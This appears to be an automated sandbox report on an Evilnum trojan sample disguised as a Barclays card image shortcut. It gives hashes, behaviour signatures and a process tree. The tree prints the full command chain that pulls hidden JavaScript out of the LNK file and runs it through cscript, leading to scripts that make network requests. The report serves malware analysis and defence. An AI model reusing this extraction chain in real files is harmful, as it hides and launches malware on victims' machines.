evilnum | 04f1fce5628ec0cff7f616a37d11bb7498974522e5400bb5a2059dd00e0d0100

Analysis

max time kernel
153s
max time network
175s
platform
windows7_x64
resource
win7-en-20211208
submitted
04-02-2022 08:41

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General

Target

Barclays CC Back.jpg.lnk
Size

83KB
MD5

85b2d96080c853c686f0b7b7284896a8
SHA1

db50fc4ea4f6c13fdbcd28ebe2f1cc44a74a83bf
SHA256

24f7995ebb2eeb1b122232fda871acaa0eff9ba52f5dbe5423a0809c5b3d824e
SHA512

9d419fb9406456937e92d57fc1b21f62cac1838082f6059924630edbefb5b568348553658565d59796d97b6078b28827abdb8c3c6eddb36800d0c78dcceff791

Score

10^/10

evilnum trojan

Malware Config

Signatures

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum

Blocklisted process makes network request 18 IoCs

flow	pid	Process
3	1428	cscript.exe
4	1428	cscript.exe
8	1428	cscript.exe
9	1428	cscript.exe
10	1428	cscript.exe
11	1428	cscript.exe
13	1428	cscript.exe
14	1428	cscript.exe
15	1428	cscript.exe
16	1428	cscript.exe
17	1428	cscript.exe
19	1428	cscript.exe
20	1428	cscript.exe
21	1428	cscript.exe
22	1428	cscript.exe
23	1428	cscript.exe
24	1428	cscript.exe
25	1428	cscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
948	cmd.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 948	1396	cmd.exe	28
PID 1396 wrote to memory of 948	1396	cmd.exe	28
PID 1396 wrote to memory of 948	1396	cmd.exe	28
PID 948 wrote to memory of 968	948	cmd.exe	29
PID 948 wrote to memory of 968	948	cmd.exe	29
PID 948 wrote to memory of 968	948	cmd.exe	29
PID 968 wrote to memory of 1704	968	forfiles.exe	30
PID 968 wrote to memory of 1704	968	forfiles.exe	30
PID 968 wrote to memory of 1704	968	forfiles.exe	30
PID 968 wrote to memory of 1664	968	forfiles.exe	31
PID 968 wrote to memory of 1664	968	forfiles.exe	31
PID 968 wrote to memory of 1664	968	forfiles.exe	31
PID 948 wrote to memory of 736	948	cmd.exe	32
PID 948 wrote to memory of 736	948	cmd.exe	32
PID 948 wrote to memory of 736	948	cmd.exe	32
PID 948 wrote to memory of 748	948	cmd.exe	33
PID 948 wrote to memory of 748	948	cmd.exe	33
PID 948 wrote to memory of 748	948	cmd.exe	33
PID 948 wrote to memory of 804	948	cmd.exe	34
PID 948 wrote to memory of 804	948	cmd.exe	34
PID 948 wrote to memory of 804	948	cmd.exe	34
PID 948 wrote to memory of 956	948	cmd.exe	35
PID 948 wrote to memory of 956	948	cmd.exe	35
PID 948 wrote to memory of 956	948	cmd.exe	35
PID 956 wrote to memory of 1760	956	cscript.exe	37
PID 956 wrote to memory of 1760	956	cscript.exe	37
PID 956 wrote to memory of 1760	956	cscript.exe	37
PID 1760 wrote to memory of 1428	1760	cscript.exe	39
PID 1760 wrote to memory of 1428	1760	cscript.exe	39
PID 1760 wrote to memory of 1428	1760	cscript.exe	39

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Barclays CC Back.jpg.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Barclays CC Back.jpg*lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "RDE3">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:948
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Barc*.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:968
  - - C:\Windows\system32\cmd.exe
      /c move "C:\Users\Admin\AppData\Local\Temp\Barclays CC Front.jpg.lnk" C:\Users\Admin\AppData\Local\Temp\1.lnk
      4⤵
      PID:1704
  - - C:\Windows\system32\cmd.exe
      /c move "C:\Users\Admin\AppData\Local\Temp\Barclays Utility.jpg.lnk" C:\Users\Admin\AppData\Local\Temp\1.lnk
      4⤵
      PID:1664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:736
- - C:\Windows\system32\find.exe
    find "RDE3"
    3⤵
    PID:748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:804
- - C:\Windows\system32\cscript.exe
    cScrIPt "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:956
  - - C:\Windows\System32\cscript.exe
      "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\MediaPlayer\MediaManager\media.js
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1760
    - - C:\Windows\System32\cscript.exe
        
        "C:\Windows\System32\cscript.exe" C:\Users\Admin\AppData\Local\Temp\reportapi.js
        5⤵
        Blocklisted process makes network request
        
        PID:1428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1396-54-0x000007FEFC4A1000-0x000007FEFC4A3000-memory.dmp

Filesize
8KB

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